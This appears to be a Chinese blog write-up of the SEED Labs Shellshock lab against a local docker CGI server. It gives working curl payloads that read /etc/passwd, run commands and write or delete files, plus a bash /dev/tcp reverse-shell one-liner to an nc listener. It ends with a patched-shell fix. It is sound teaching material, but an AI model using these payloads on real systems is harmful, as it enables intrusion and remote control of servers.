• Shellshock


    准备

    安装VisualBox
    用提供的vdi文件点击下载,在VisualBox中创建虚拟机
    实验要求PDF
    下载实验文件
    User ID: seed, Password: dees
    User ID: root, Password: seedubuntu

    在实验文件夹路径下执行下面命令,耐心等待,启动被攻击的网页程序
    执行失败,需要重复执行尝试

    docker-compose build # Build the container image
    
    • 1
    docker-compose up # Start the container
    
    • 1

    如果想关闭程序,在实验文件夹路径下执行下面命令

    docker-compose down # Shut down the container
    
    • 1

    实验任务

    任务1

    攻击有漏洞的bash_shellshock,用同样的方法测试正常bash

    任务2

    修改环境变量

    Task2.A:使用brower
    打开插件 HTTP Header Live

    访问http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi
    点击这个HTTP包
    修改如下

    点击Send,观察浏览器页面

    出现大量A的环境变量是可攻击的

    Task2.B:使用curl
    -A:修改User-Agent
    -e:修改referer
    -H:自定义
    -A和-e可以进行数据注入

    任务3

    进行Shellshock攻击
    Task3.A:

    curl -A "() { echo hello;}; echo Content_type: text/plain;echo; /bin/cat /etc/passwd" -v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi
    
    • 1

    Task3.B:

    curl -H "aaa: () { echo hello;}; echo Content_type: text/plain;echo;/bin/id" -v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi
    
    • 1


    Task3.C:

    curl -e "() { echo hello;}; echo Content_type: text/plain;echo; echo 11>/tmp/e.txt" -v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi
    
    • 1

    Task3.D:

    curl -A "() { echo hello;}; echo Content_type: text/plain;echo;rm${IFS}/tmp/e.txt" -v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi
    
    • 1


    Question 1
    不能,没root权限
    Question 2
    不能,payload经过url编码也不行

    任务4

    执行下面命令找自己的ip

    ip addr
    
    • 1


    执行下面命令找服务器ip

    dockps
    
    • 1


    攻击者用nc监听9090端口

    nc -lvp 9090
    
    • 1

    开始攻击

    curl -A "() { echo hello;}; echo Content_type: text/plain; echo;/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1" http://10.9.0.80/cgi-bin/vul.cgi
    
    • 1


    攻击成功

    任务5

    让CGI使用有补丁的shell
    在服务器里面下载vim
    然后修改成下面这个样子

    vim /usr/lib/cgi-bin/vul.cgi
    
    • 1


    攻击失败

  • 相关阅读:
    Vue3 源码系列:项目调试和项目架构分析(一)
    CSS 实现卡片边框渐变动画
    java完整面试复习
    英语——语法——从句——句型和句子成分——笔记
    【LeetCode】42. 接雨水 - Go 语言题解
    读书笔记之C Primer Plus 1
    视频去水印免费软件有哪些?快来收藏这三款实用工具
    TypeScript学习二(变量声明)
    mybatis中和MP中关于拿到插入新数据的id解决方案
    大流量、业务效率?从一个榜单开始
  • 原文地址:https://blog.csdn.net/qq_46241655/article/details/126020680